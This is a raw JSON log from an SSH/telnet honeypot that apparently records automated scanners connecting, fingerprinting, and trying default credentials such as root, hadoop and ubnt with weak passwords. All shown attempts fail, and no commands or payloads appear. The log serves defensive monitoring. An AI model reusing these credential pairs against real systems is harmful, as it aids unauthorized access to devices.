{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:22.265538Z","src_ip":"49.247.36.49","session":"c34d5ebb3990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14881488","message":"login attempt [root/14881488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:23.112389Z","src_ip":"49.247.36.49","session":"c34d5ebb3990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6195228099823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:23.664803Z","src_ip":"67.23.227.170","session":"d0d8334c7948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:24.320775Z","src_ip":"49.247.36.49","session":"c34d5ebb3990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":48864,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0951e61d2f1","protocol":"ssh","message":"New connection: 42.200.66.164:48864 (159.203.135.109:22) [session: d0951e61d2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:26.142426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:26.147858Z","src_ip":"42.200.66.164","session":"d0951e61d2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:26.417722Z","src_ip":"42.200.66.164","session":"d0951e61d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.673089027404785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:26.736874Z","src_ip":"67.23.227.170","session":"9ca94852fe3b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAaaa111.","message":"login attempt [root/AAAaaa111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:27.815945Z","src_ip":"42.200.66.164","session":"d0951e61d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:29.091774Z","src_ip":"42.200.66.164","session":"d0951e61d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86d6857aaa5","protocol":"telnet","message":"New connection: 64.227.101.30:48756 (10.17.0.5:23) [session: c86d6857aaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:39.707517Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":44839,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c751acefa7","protocol":"ssh","message":"New connection: 216.155.93.75:44839 (10.17.0.5:22) [session: e9c751acefa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:42.402854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:42.406931Z","src_ip":"216.155.93.75","session":"e9c751acefa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:42.553933Z","src_ip":"216.155.93.75","session":"e9c751acefa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14881488","message":"login attempt [root/14881488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:43.203374Z","src_ip":"216.155.93.75","session":"e9c751acefa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:44.352803Z","src_ip":"216.155.93.75","session":"e9c751acefa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66721153259277,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:54.851550Z","src_ip":"68.183.198.12","session":"1d3cbc5947cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":36502,"dst_ip":"159.203.135.109","dst_port":22,"session":"9226932007d7","protocol":"ssh","message":"New connection: 43.243.142.42:36502 (159.203.135.109:22) [session: 9226932007d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:58.176119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:58.181475Z","src_ip":"43.243.142.42","session":"9226932007d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:58.411439Z","src_ip":"43.243.142.42","session":"9226932007d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"12345","message":"login attempt [hadoop/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:12:59.358932Z","src_ip":"43.243.142.42","session":"9226932007d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:00.591669Z","src_ip":"43.243.142.42","session":"9226932007d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":63393,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ae32eb250f4","protocol":"ssh","message":"New connection: 193.46.255.86:63393 (10.17.0.5:22) [session: 4ae32eb250f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:03.026673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:03.032587Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:03.168600Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:03.789279Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt1","message":"login attempt [ubnt/ubnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:04.928239Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin","message":"login attempt [ubnt/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:06.070370Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"12345","message":"login attempt [ubnt/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:07.209720Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubntubnt","message":"login attempt [ubnt/ubntubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:08.348610Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:09.488002Z","src_ip":"193.46.255.86","session":"4ae32eb250f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.12286043167114,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:17.830248Z","src_ip":"64.227.101.30","session":"c86d6857aaa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46068,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a476d126da","protocol":"ssh","message":"New connection: 194.59.206.2:46068 (10.17.0.5:22) [session: 49a476d126da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:21.423970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:21.429042Z","src_ip":"194.59.206.2","session":"49a476d126da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:21.515497Z","src_ip":"194.59.206.2","session":"49a476d126da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:21.606396Z","src_ip":"194.59.206.2","session":"49a476d126da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41922,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a2abea1dea","protocol":"telnet","message":"New connection: 64.227.101.30:41922 (10.17.0.5:23) [session: 06a2abea1dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:25.381358Z"}
{"eventid":"cowrie.session.closed","duration":3.828519105911255,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:29.209729Z","src_ip":"64.227.101.30","session":"06a2abea1dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":37102,"dst_ip":"159.203.135.109","dst_port":22,"session":"085d42ca8232","protocol":"ssh","message":"New connection: 42.200.66.164:37102 (159.203.135.109:22) [session: 085d42ca8232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:29.758383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:29.763882Z","src_ip":"42.200.66.164","session":"085d42ca8232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":20856,"dst_ip":"10.17.0.5","dst_port":22,"session":"f363679b5bfe","protocol":"ssh","message":"New connection: 49.247.36.49:20856 (10.17.0.5:22) [session: f363679b5bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:29.787601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:29.792786Z","src_ip":"49.247.36.49","session":"f363679b5bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:29.994109Z","src_ip":"49.247.36.49","session":"f363679b5bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:13:30.040084Z","src_ip":"42.200.66.164","session":"085d42ca8232","protocol":"ssh"}
